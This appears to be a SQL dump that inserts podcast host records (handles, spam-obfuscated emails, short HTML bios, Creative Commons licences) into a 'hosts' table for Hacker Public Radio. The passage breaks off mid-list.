INSERT INTO `hosts` (`hostid`, `host`, `email`, `profile`, `license`, `local_image`, `gpg`, `valid`, `espeak_name`) VALUES (1,'droops','droops.nospam@nospam.gmail.com','nomicon.info','CC-BY-NC-SA',0,'',1,'droops'),
(3,'dosman','dosman.nospam@nospam.packetsniffers.org','packetsniffers.org','CC-BY-SA',0,'',1,'dosman'),
(7,'Dann','dann.nospam@nospam.tllts.org','','CC-BY-SA',0,'',1,'Dann'),
(79,'Xoke','Xokesoru.nospam@nospam.gmail.com','Xoke.org','CC-BY-SA',0,'',1,'Xoke'),
(18,'Seal','julien.nospam@nospam.jmcardle.com','jmcardle.com','CC-BY-NC-SA',0,'',1,'Seal'),
(282,'Mike Ray','mike.nospam@nospam.raspberryvi.org','','CC-BY-SA',0,'',1,'Mike Ray'),
(73,'deepgeek','hpr.nospam@nospam.deepgeek.us','','CC-BY-SA',0,'',1,'deepgeek'),
(24,'Lord Drachenblut (R.I.P.)','lord.drachenblut.nospam@nospam.gmail.com','thedigitaldragonslair.net/','CC-BY-SA',0,'',1,'Lord Drachenblut'),
(25,'Morgellon','morgellon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Morgellon'),
(29,'willjasen','willjasen.nospam@nospam.charter.net','','CC-BY-SA',0,'',0,'willjasen'),
(30,'Ken Fallon','ken.nospam@nospam.fallon.ie','<p>\r\nI am a Irishman living in the Netherlands.\r\n</p>\r\n\r\n<ul>\r\n<li>Website: <a href=\"https://kenfallon.com\">https://kenfallon.com</a>\r\n</li>\r\n<li>Twitter: @ken_fallon <a href=\"https://twitter.com/ken_fallon\">https://twitter.com/ken_fallon</a>\r\n</li>\r\n<li>Mastodon: <a href=\"https://mastodon.sdf.org/@ken_fallon\">@ken_fallon@mastodon.sdf.org</a>\r\n</li>\r\n<li>Facebook: <a href=\"https://www.facebook.com/ken.fallon\">https://www.facebook.com/ken.fallon</a>\r\n</li>\r\n<li>LinkedIn: <a href=\"https://nl.linkedin.com/in/kenfallon\">https://nl.linkedin.com/in/kenfallon</a>\r\n</li>\r\n</ul>','CC-BY-SA',0,'23B68D4377311169',1,'Ken Falun'),
(75,'fawkesfyre','purplepentester.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'fawkesfyre'),
(36,'operat0r','freeload101.nospam@nospam.yahoo.com','rmccurdy.com','CC-BY-SA',0,'',1,'operator'),
(38,'Silver','silverballz.nospam@nospam.gmail.com','silverballz.com','CC-BY-NC-SA',0,'',1,'Silver'),
(39,'Enigma','eth0enigma.nospam@nospam.gmail.com','hackerpublicradio.org','CC-BY-NC-SA',0,'',1,'Enigma'),
(41,'kitche','kitche.nospam@nospam.reddphoenix.com','','CC-BY-NC-SA',0,'',0,'kitche'),
(42,'slick0','slick0.nospam@nospam.slick0.net','','CC-0',0,'',1,'slick0'),
(48,'mirovengi','mirovengi.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'mirovengi'),
(55,'StankDawg','stankdawg.nospam@nospam.stankdawg.com','stankdawg.com','CC-BY-NC-SA',0,'',1,'StankDawg'),
(57,'Plexi','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Plexi'),
(58,'Drake Anubis','drake.anubis.nospam@nospam.gmail.com','drakeanubis.com','CC-BY-NC-SA',0,'',1,'Drake Anubis'),
(62,'Mubix','jd.mubix.nospam@nospam.gmail.com','room362.com/','CC-BY-NC-SA',0,'',1,'Mubix'),
(64,'Alk3','mr.alk3.nospam@nospam.gmail.com','exitstatusone.com/','CC-BY-NC-SA',0,'',1,'Alk3'),
(69,'thewtex','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'thewtex'),
(74,'Peter','freshubuntu.nospam@nospam.gmail.com','freshubuntu.org/','CC-BY-NC-SA',0,'',1,'Peter'),
(76,'Chess Griffin','chess.nospam@nospam.chessgriffin.com','linuxreality.com','CC-BY-NC-SA',0,'',1,'Chess Griffin'),
(77,'Dave Yates','dsyates.nospam@nospam.lottalinuxlinks.com','lottalinuxlinks.com','CC-BY-SA',0,'',1,'Dave Yates'),
(78,'Klaatu','klaatu.nospam@nospam.mixedsignals.ml','','CC-BY-SA',0,'',1,'klaatu'),
(408,'Stache_AF','stache.nospam@nospam.duck.com','','CC-BY-SA',0,'',1,'Stash A. F'),
(80,'W3lshrarebit','W3lshrarebit.nospam@nospam.do-not-contact.gmail.com','','CC-BY-NC',0,'',1,'W3lshrarebit'),
(81,'Bitviper','bitviper.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Bitviper'),
(82,'DjBoo','KP101ST.nospam@nospam.gmail.com','zombie.el.cx/music/','CC-BY-NC-SA',0,'',1,'DjBoo'),
(83,'MadRush','madrush.nospam@nospam.comcast.net','','CC-BY-NC-SA',0,'',1,'MadRush'),
(84,'Lunarsphere','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Lunarsphere'),
(85,'finux','podcast.nospam@nospam.finux.co.uk','finux.co.uk','CC-BY-SA',1,'',1,'finux'),
(86,'rowinggolfer','rowinggolfer.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'RowingGolfer'),
(87,'Tottenkoph','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Tottenkoph'),
(88,'Skirlet','admin.nospam@nospam.hackerpublicradio.org','fiercelyindependent.org','CC-BY-NC-SA',0,'',1,'Skirlet'),
(89,'MC Smedley','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'MC Smedley'),
(90,'jelkimantis','linux.cli.oggcast.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'jelkimantis'),
(91,'Cybercod','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Cybercod'),
(92,'threethirty','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'threethirty'),
(93,'EC Lug','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'EC Lug'),
(94,'riddlebox','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'riddlebox'),
(95,'UberChick','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'UberChick'),
(96,'Jrullo','jrullo.nospam@nospam.jonasrullo.net','','CC-BY-SA',0,'',1,'Jrullo'),
(97,'Jeremy','admin.nospam@nospam.hackerpublicradio.org','distrocast.org','CC-BY-NC-SA',0,'',1,'Jeremy'),
(98,'weex','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'weex'),
(99,'monsterb','bill.nospam@nospam.monsterb.org','linuxcranks.info','CC-BY-SA',0,'',1,'MonsterB'),
(100,'UTOSC','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'U T O S C '),
(101,'Chad','chad.nospam@nospam.linuxbasement.com','linuxbasement.com','CC-BY',0,'',1,'Chad'),
(102,'dwick','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'dwick'),
(103,'Roadrunner','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Roadrunner'),
(104,'pixel Juice','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'pixel Juice'),
(105,'Wintermute21','mute.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Wintermute21'),
(106,'Thistleweb','gordon.nospam@nospam.thistleweb.co.uk','thistleweb.co.uk/','CC-BY-SA',0,'',1,'Thistleweb'),
(107,'lostnbronx','lostnbronx.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'lostnbronx'),
(109,'Various Hosts','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Various Hosts'),
(110,'Quvmoh','quvmoh.nospam@nospam.gmail.com','<p>\r\nold geek and fan of building things, spends the work day polishing fiber optics and staring through scopes listening to podcasts.</p>','CC-BY-SA',0,'',1,'Quvmoh'),
(111,'knightwise','knightwise.nospam@nospam.knightwise.com','<p>\r\nKnightwise.com is a website with hacks tips and tweaks for cross platform geeks. The home of the Knightwise.com cross platform podcast that makes technology work for you and not the other way around. A place to go for all geeks who slide between Mac, iOS, Android, Linux and Windows offering an essential mix of hacks, tips, howtos and tweaks spiced up with a dash of geek culture.\r\n</p>\r\n<p>\r\nWhat is our philosophy?\r\nIn our daily lives, on the internet, whether we want it or not, hundreds of new inventions, thousands of websites and millions of bits of information engulf us as the tsunami of progress sweeps along the shores of time.\r\nYou have the choice: Be washed away on by the virtual surf or turn technology into a tool that works for you.\r\n</p>\r\n<p>\r\nHere at Knightwise.com we think that YOU are the most important element in the technology that surrounds you. Technology should enable you and not lock you in to some vendor or product. That is why we focus on cross platform solutions that work on any operating system or mobile device you might be using, making YOU and what you want to DO the focus of our content. We dont believe in fanboys, we dont believe in vendor lock-ins and we dont believe in brands. We cater to the geeks who slide from operating system to operating system, free their data and communications and let technology work for them instead of the other way around.\r\n</p>','CC-BY-SA',0,'',1,'knightwise'),
(112,'Mark Clarke','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Mark Clarke'),
(113,'Kevin Benko','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Kevin Benko'),
(114,'rkirk','zugzwang.seven.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'rkirk'),
(115,'sigflup','pantsbutt.nospam@nospam.gmail.com','<p>\r\n<a href=\"https://theadesilva.com\">https://theadesilva.com</a>\r\n</p>','CC-BY-SA',0,'',1,'sigflup'),
(116,'janedoc','njwrightmd.nospam@nospam.yahoo.com','','CC-BY-NC-SA',0,'',1,'janedoc'),
(117,'PhreakerD7','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'PhreakerD7'),
(118,'df99','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'df99'),
(120,'pegwole','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'pegwole'),
(121,'Michael Foord ','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Michael Foord '),
(122,'Urban Koistinen','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Urban Koistinen'),
(123,'tmacuk ','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'tmacuk '),
(124,'Patrick L Archibald (R.I.P.)','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Patrick L Archibald'),
(125,'elel','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'elel'),
(126,'cobra2','cobra2.nospam@nospam.linuxbasement.com','','CC-BY-SA',0,'',1,'cobra2'),
(127,'KFive','k5tux.nospam@nospam.k5tux.us','','CC-BY-SA',0,'',1,'KFive'),
(128,'pokey','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'pokey'),
(129,'JWP','jwp5.nospam@nospam.hotmail.com','<p>JWP is a linux follower - has a linux job and lives the life of a free Texan in the World making Texas where ever he might be.</p>','CC-BY-SA',1,'',1,'JWP'),
(130,'Jared Mayes','mayesja.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Jared Mayes'),
(131,'FiftyOneFifty (R.I.P.)','fiftyonefifty.nospam@nospam.linuxbasement.com','','CC-BY-SA',0,'',1,'FiftyOneFifty'),
(132,'Flaviu Simihaian','flaviu.nospam@nospam.closedbracket.com','','CC-BY-SA',0,'',1,'Flaviu Simihaian'),
(133,'sp0rus','sp0rus.cs.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'sporus'),
(134,'PipeManMusic','PipeManMusic.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'PipeManMusic'),
(135,'Johninsc','johninsc.nospam@nospam.myway.com','','CC-BY-SA',0,'',1,'Johninsc'),
(136,'Curbuntu','curbuntu.nospam@nospam.cox.net','','CC-BY-NC-SA',0,'',1,'Curbuntu'),
(137,'guitarman','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'GuitarMan'),
(138,'arfab','clearnitesky.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'arfab'),
(139,'Ruji','toiletresin.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'Ruji'),
(140,'brother mouse','fratermus+hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'brother mouse'),
(141,'Dismal Science','dismal.science.hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Dismal Science'),
(142,'N50','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'N50'),
(143,'Broam','brian.kemp.nospam@nospam.member.fsf.org','','CC-BY-SA',0,'',1,'Broam'),
(144,'sp0rus and biosshadow','sp0rus.cs.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'sporus and BiosShadow'),
(145,'Heisenbug','matt_hew.nospam@nospam.rocketmail.com','','CC-BY-NC-SA',0,'',1,'Heisenbug'),
(146,'JBu92','jbucky1092.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'JBu92'),
(147,'Sven','sven.nospam@nospam.noblanks.org','','CC-BY-SA',0,'',1,'Sven'),
(148,'Mark Katerberg and Courtney Schauer','mark.katerberg.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Mark Katerberg and Courtney Schauer'),
(149,'Trixter','trixter.nospam@nospam.oldskool.org','<p>I am a child of the early 1980s, defined by the personal computer explosion, new wave music, and post-modern artistic style of that era. Co-founded MobyGames. I\'m an assembly programmer, demoscener, unix systems engineer, husband, and father. I sometimes write things of dubious value at <a href=\"https://trixter.oldskool.org/\">https://trixter.oldskool.org/</a>.</p>','CC-BY-SA',0,'',1,'Trixter'),
(150,'Bariman','anthony.denton.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Bariman'),
(151,'dodddummy','jason.s.dodd.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'D O D D Dummy'),
(152,'Claudio Miranda','quadsix50.nospam@nospam.gmail.com','Mastodon: @claudiom@bsd.network\r\nBlog: https://claudiomiranda.wordpress.com','CC-BY-SA',0,'',1,'Claudio Miranda'),
(153,'Doug Farrell','doug.farrell.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Doug Farrell'),
(154,'MrsXoke','MrsXoke.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'MrsXoke'),
(155,'MrGadgets','hpr.nospam@nospam.mrgadgets.com','','CC-BY-SA',0,'',1,'MrGadgets'),
(156,'marcoz','marcoz.nospam@nospam.osource.org','','CC-BY-SA',0,'',1,'marcoz'),
(157,'HPR_AudioBookClub','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'HPR_AudioBookClub'),
(158,'Various Creative Commons Works','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Various Creative Commons Works'),
(159,'HPR Volunteers','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'HPR Volunteers'),
(160,'Robin Catling','fullcirclepodcast.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'Robin Catling'),
(161,'Jonathan Nadeau','feedback.nospam@nospam.frostbitemedia.org','','CC-BY-NC-SA',0,'',1,'Jonathan Nadeau'),
(162,'code.cruncher','code.cruncher_hpr.nospam@nospam.yahoo.ca','','CC-BY-SA',0,'',1,'code.cruncher'),
(163,'Brad Carter','brad.nospam@nospam.notla.com','','CC-BY-SA',0,'',1,'Brad Carter'),
(164,'scriptmunkee','scriptmunkee.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'scriptmunkee'),
(165,'Bob Evans','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Bob Evans'),
(167,'imahuph','imahuph.nospam@nospam.imahuph.net','','CC-0',0,'',1,'ImAHuph'),
(168,'sikilpaake and badbit','info.nospam@nospam.carlosduarte.info','','CC-BY-SA',0,'',1,'sikilpaake and badbit'),
(169,'Slurry','williams.jayson.nospam@nospam.gmail.com','','CC-BY-NC-SA',0,'',1,'Slurry'),
(170,'Dismal Science and Sunzofman1','dismal.science.hpr.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Dismal Science and SunzOfMan1'),
(171,'Brotherred','goy.ben.regesh.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Brotherred'),
(172,'ArigornStrider','arigornstrider.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'ArigornStrider'),
(173,'Joel','gorkon.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Joel'),
(174,'Josh Knapp','jknapp85.nospam@nospam.gmail.com','<p>\r\nSysadmin/Developer /Contractor/Consultant\r\n</p>','CC-0',0,'',1,'Josh Knapp'),
(175,'Dave','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'Dave'),
(176,'finux and code.cruncher','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-NC-SA',0,'',1,'finux and code.cruncher'),
(177,'NewAgeTechnoHippie','newagetechnohippie.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'NewAgeTechnoHippie'),
(178,'Downer','downer.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Downer'),
(182,'Epicanis','epicanis+hpr.nospam@nospam.dogphilosophy.net','<p>\r\n\"Epicanis\" has been this correspondent\'s pseudonym on the internet for enough years to make him feel old and to make it an established enough identity to not want to change it now.\r\n</p>\r\n<p>\r\nA self-described Penguinista with a long career as a compu-janitor/systems administrator, Epicanis is broad-spectrum, \r\n multi-purpose \"Swiss-Army Nerd\", with a B.S. in Microbiology, an A.S. in Chemistry, a quarter-century of continuous\r\n I.T. experience and a desire to escape the economic roach-motel of rural northern Maine, so if you\'re looking to hire,\r\n let him know.\r\n</p>\r\n<p>\r\nYou can find him on Twitter and Google Plus via his pseudonym, and at (among other places) <a href=\"https://hpr.dogphilosophy.net\">https://hpr.dogphilosophy.net</a>\r\n</p>\r\n<p>\r\n<ul>\r\n<li>Website: <a href=\"https://hpr.dogphilosophy.net\">https://hpr.dogphilosophy.net</a>\r\n</li>\r\n<li>Twitter: @Epicanis <a href=\"https://twitter.com/Epicanis\">https://twitter.com/Epicanis</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/u/0/117231980905216630589/posts\">https://plus.google.com/u/0/117231980905216630589/posts</a>\r\n</li>\r\n</ul\r\n</p>','CC-BY-SA',1,'',1,'EpiCaynis'),
(184,'diablomarcus','mark.katerberg.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'DiabloMarcus'),
(185,'Mike Hingley','computa_mike.nospam@nospam.hotmail.com','','CC-BY-SA',0,'',1,'Mike Hingley'),
(186,'Germ','jeremythegeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Germ'),
(187,'Sunzofman1','agreen.nospam@nospam.bkaeg.org','','CC-BY-SA',0,'',1,'SunzOfMan1'),
(188,'saras fox','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'saras fox'),
(189,'Joe Wakumara','admin.nospam@nospam.hackerpublicradio.org','','CC-BY-SA',0,'',1,'Joe Wakumara'),
(190,'Tracy Holz_Holzster','workingintheopen.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Tracy Holz_Holzster'),
(191,'AukonDK','aukondk.nospam@nospam.aukondk.com','<p>\r\nStephen Ward, a Brit in Croatia. Accidental specialist subject: Internet Radio.\r\n</p>\r\n<p>\r\nMore info at <a href=\"https://aukondk.com\">https://aukondk.com</a>\r\n</p>','CC-BY-SA',1,'',1,'AukonDK'),
(192,'Seetee','kenneth.nospam@nospam.aiit.se','<p>\r\nKenneth \"Seetee\" Frantzen\r\n</p>\r\n<p>\r\nAn IT professional and teacher living in Gothenburg, the second largest city of Sweden. Listen to my own podcast as well, the All In IT Radio!\r\n</p>\r\n<ul>\r\n<li>Podcast: <a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a>\r\n</li>\r\n<li>Website: <a href=\"https://frantzen.se/\">https://frantzen.se/</a>\r\n</li>\r\n<li>Twitter: @alltinomit <a href=\"https://twitter.com/alltinomit\">https://twitter.com/alltinomit</a>\r\n</li>\r\n<li>Identica: <a href=\"https://identi.ca/alltinomit\">https://identi.ca/alltinomit</a>\r\n</li>\r\n<li>Google+: <a href=\"https://plus.google.com/+KennethFrantzen\">https://plus.google.com/+KennethFrantzen</a> \r\n</li>\r\n</ul>','CC-BY-SA',0,'',1,'Seetee'),
(193,'Kevin Granade','kevin.granade.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Kevin Granade'),
(194,'Deltaray','deltaray.nospam@nospam.slugbug.org','From the \"mid-west\" of the US. I am the creator/host of the @climagic account on Mastodon and (cough) Twitter.','CC-BY-SA',0,'',1,'Deltaray'),
(195,'Frank Bell','frank.nospam@nospam.pineviewfarm.net','<p>\r\nA Linux enthusiast who enjoys making stuff work.\r\n<br />\r\n<a https://=\"https://www.pineviewfarm.net\">https://www.pineviewfarm.net</a>\r\n</p>','CC-BY-SA',1,'',1,'Frank Bell'),
(196,'Windigo','jacob.nospam@nospam.fragdev.com','<p> A dork that likes Minecraft, web development, and coffee. Not in that order. </p>','CC-BY-SA',0,'',1,'Windigo'),
(197,'garjola','garjola.nospam@nospam.garjola.net','','CC-BY-SA',0,'',1,'garjola'),
(198,'Ahuka','zwilnik.nospam@nospam.zwilnik.com','<p>\r\nI am a long-time office software geek, and also a promoter of Free Software, so LibreOffice is a natural fit for me. I also have a series on HPR called Security and Privacy, and occasionally record shows that are non-series. I am also the former Tech Track organizer for Penguicon, an event in southeast Michigan, USA. Visit one of my sites at:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com\">https://www.ahuka.com</a>\r\n</li>\r\n<li><a href=\"https://www.palain.com\">https://www.palain.com</a>\r\n</li>\r\n<li><a href=\"https://www.zwilnik.com\">https://www.zwilnik.com</a>\r\n</li>\r\n</ul>','CC-BY-SA',0,'',1,'ah-who-ca'),
(199,'Akranis','hexagenic.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Akranis'),
(200,'mordancy','hpr.nospam@nospam.mordancy.com','mordancy.com','CC-BY-SA',0,'',1,'mordancy'),
(201,'MrX','mrxathpr.nospam@nospam.googlemail.com','','CC-BY-SA',0,'',1,'Mister X'),
(202,'BrocktonBob','bhpcrepair.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'BrocktonBob'),
(203,'dmfrey','dmfrey.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'dmfrey'),
(273,'ToeJet','james.nospam@nospam.toebesacademy.com','<p>\r\nDabbling in a bit of this and that.\r\n\r\nFind me at https://james.toebesacademy.com\r\n</p>','CC-BY-SA',0,'',1,'Toe Jet'),
(205,'Jezra and NYbill','nybill.nospam@nospam.gunmonkeynet.net','','CC-BY-SA',0,'',1,'Jezra and N_Y_bill'),
(206,'Bob Wooden','rbrtewdn.nospam@nospam.comcast.net','','CC-BY-SA',0,'',1,'Bob Wooden'),
(207,'rootoutcast','rootoutcast.nospam@nospam.hushmail.com','','CC-BY-SA',0,'',1,'RootOutcast'),
(208,'Digital Maniac','destinydesignlabs.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Digital Maniac'),
(209,'David Whitman','davidglennwhitman.nospam@nospam.gmail.com','<p>\r\nI am a normal person with good taste from Oregon, USA. I like black coffee and FREE Software. I use Linux as my operating system of choice.\r\n</p>','CC-BY-SA',0,'',1,'David Whitman'),
(210,'Neodragon','linuxgeekster.stahl.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Neodragon'),
(296,'Kevie','tuxjam.nospam@nospam.unseenstudio.co.uk','<p>\r\nLinux and open source advocate from the Isle of Lewis in the north west of Scotland. I am a keen podcaster, co-host of CCJam, Crivins and TuxJam, you can find these at <a href=\"https://unseenstudio.co.uk\">https://unseenstudio.co.uk</a>\r\n</p>\r\n<p>\r\nI am on Twitter (@kevie49), but mainly active on joindiaspora.co.uk and micro.fragdev.com, where I am @kevie on both of these networks. \r\n</p>','CC-BY-SA',1,'',1,'Kevie'),
(212,'DoorToDoorGeek','doortodoorgeek.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'DoorToDoorGeek'),
(213,'bgryderclock','bgryderclock.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'bgryderclock'),
(214,'Nido Media','nido.nospam@nospam.foxserver.be','','CC-BY-SA',0,'',1,'Nido Media'),
(403,'Lee','leehanken.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Lee'),
(216,'goibhniu','goibhniu.nospam@nospam.fsfe.org','','CC-BY-SA',0,'',1,'goibhniu'),
(217,'aparanoidshell','aparanoidshell.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'aparanoidshell'),
(218,'Famicoman','famicoman.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Famicoman'),
(219,'ccmusique','ccmusique.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'ccmusique'),
(220,'doubi','ryan.jendoubi.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'doubi'),
(221,'cleavey','cleavey.nospam@nospam.ic24.net','','CC-BY-SA',0,'',1,'cleavey'),
(222,'The Air Staff of Erie Looking Productions','skellat.nospam@nospam.fastmail.net','','CC-BY-SA',0,'',1,'The Air Staff of Erie Looking Productions'),
(223,'Frederic Couchet','fcouchet.nospam@nospam.april.org','','CC-BY-SA',0,'',1,'Frederic Couchet'),
(224,'Zachary De Santos','niisa.nospam@nospam.gmx.co.uk','','CC-BY-SA',0,'',1,'Zachary De Santos'),
(225,'Dave Morriss','perloid.nospam@nospam.autistici.org','<p>Old Geek, lives in Scotland, writes scripts and stuff for amusement</p>\r\n\r\n<ul>\r\n<li>Mastodon: @perloid@mastodon.sdf.org <a href=\"https://mastodon.sdf.org/@perloid\">https://mastodon.sdf.org/@perloid</a></li>\r\n</ul>\r\n','CC-BY-SA',0,'4825C90A45758A21',1,'Dave Morriss'),
(425,'gemlog','gemlog.nospam@nospam.gemlog.ca','<p>I may be found on <a href=\"https://sdf.org\">sdf.org</a> as gemlog and on mastodon as <a href=\"https://mastodon.sdf.org/@gemlog@tilde.zone\">@gemlog@tilde.zone</a></p>','CC-BY-SA',1,' ',1,'gem log'),
(226,'bobobex','bobobex.nospam@nospam.bobobex.org','','CC-BY-SA',0,'',1,'BoBoBex'),
(227,'Dick Thomas','Dick.nospam@nospam.xpd259.co.uk','','CC-BY-SA',0,'',1,'Dick Thomas'),
(228,'Delwin','delwin.nospam@nospam.skyehaven.net','','CC-BY-SA',0,'',1,'Delwin'),
(229,'Charles in NJ','catintp.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Charles in NJ'),
(230,'Dude-man','hpr.nospam@nospam.dudmanovi.cz','','CC-BY-SA',0,'',1,'Dude-man'),
(231,'Beto','beto.nospam@nospam.haventfoundme.com','','CC-BY-SA',0,'',1,'Beto'),
(232,'Peter64','peter.nospam@nospam.peter64.org','','CC-BY-SA',0,'',1,'Peter64'),
(233,'johanv','johan.vervloet.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'johanv'),
(234,'Emilien Klein','emilien+hpr.nospam@nospam.klein.st','','CC-BY-SA',0,'',1,'Emilien Klein'),
(235,'NYbill','nybill.nospam@nospam.gunmonkeynet.net','','CC-BY-SA',0,'',1,'N Y bill'),
(237,'Tgtm News Team','hpr.nospam@nospam.deepgeek.us','','CC-BY-SA',0,'',1,'Tgtm News Team'),
(238,'Jon Kulp','jonlancekulp.nospam@nospam.gmail.com','<p>\r\nMusic professor, open-source software enthusiast, Lafayette, LA. <br />\r\n<a href=\"https://jonathankulp.org \">https://jonathankulp.org </a>\r\n</p>','CC-BY-SA',0,'',1,'Jon Kulp'),
(239,'b1ackcr0w','alistair.nospam@nospam.amunro.net','','CC-BY-SA',0,'',1,'blackcrow'),
(240,'Steve Bickle','steve.nospam@nospam.bickle.co.uk','','CC-BY-SA',0,'',1,'Steve Bickle'),
(241,'Christopher M. Hobbs','cmhobbs.nospam@nospam.member.fsf.org','','CC-BY-SA',0,'',1,'Christopher M. Hobbs'),
(242,'Russ Wenner','russwenner.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Russ Wenner'),
(243,'Jezra','Jezra.nospam@nospam.jezra.net','','CC-BY-SA',0,'',1,'Jezra'),
(244,'Helvetin','reiststefan.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Helvetin'),
(245,'Deb Nicholson','dnicholson.nospam@nospam.openinventionnetwork.com','','CC-BY-SA',0,'',1,'Deb Nicholson'),
(246,'Beeza','nigelverity.nospam@nospam.hotmail.com','<p>\r\nBeeza has worked in just about every area of software development over the last 30 years, including long spells in the defence and finance industries. He is now relatively impoverished but far happier working for himself on a number of tech and non-tech projects. \r\n</p>','CC-BY-SA',0,'',1,'Beeza'),
(247,'Toby Meehan','conman53095.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Toby Meehan'),
(248,'Alek Grigorian','alek.grigorian.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Alek Grigorian'),
(249,'Accipiter','Accipiter81M.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Accsipiter'),
(250,'Shane Shennan','shaneshennan.nospam@nospam.gmail.com','','CC-BY-SA',0,'',1,'Shane Shennan'),
(251,'Bob Tregilus','elaterite.nospam@nospam.yahoo.com','','CC-BY-SA',0,'',1,'Bob Tregilus'),
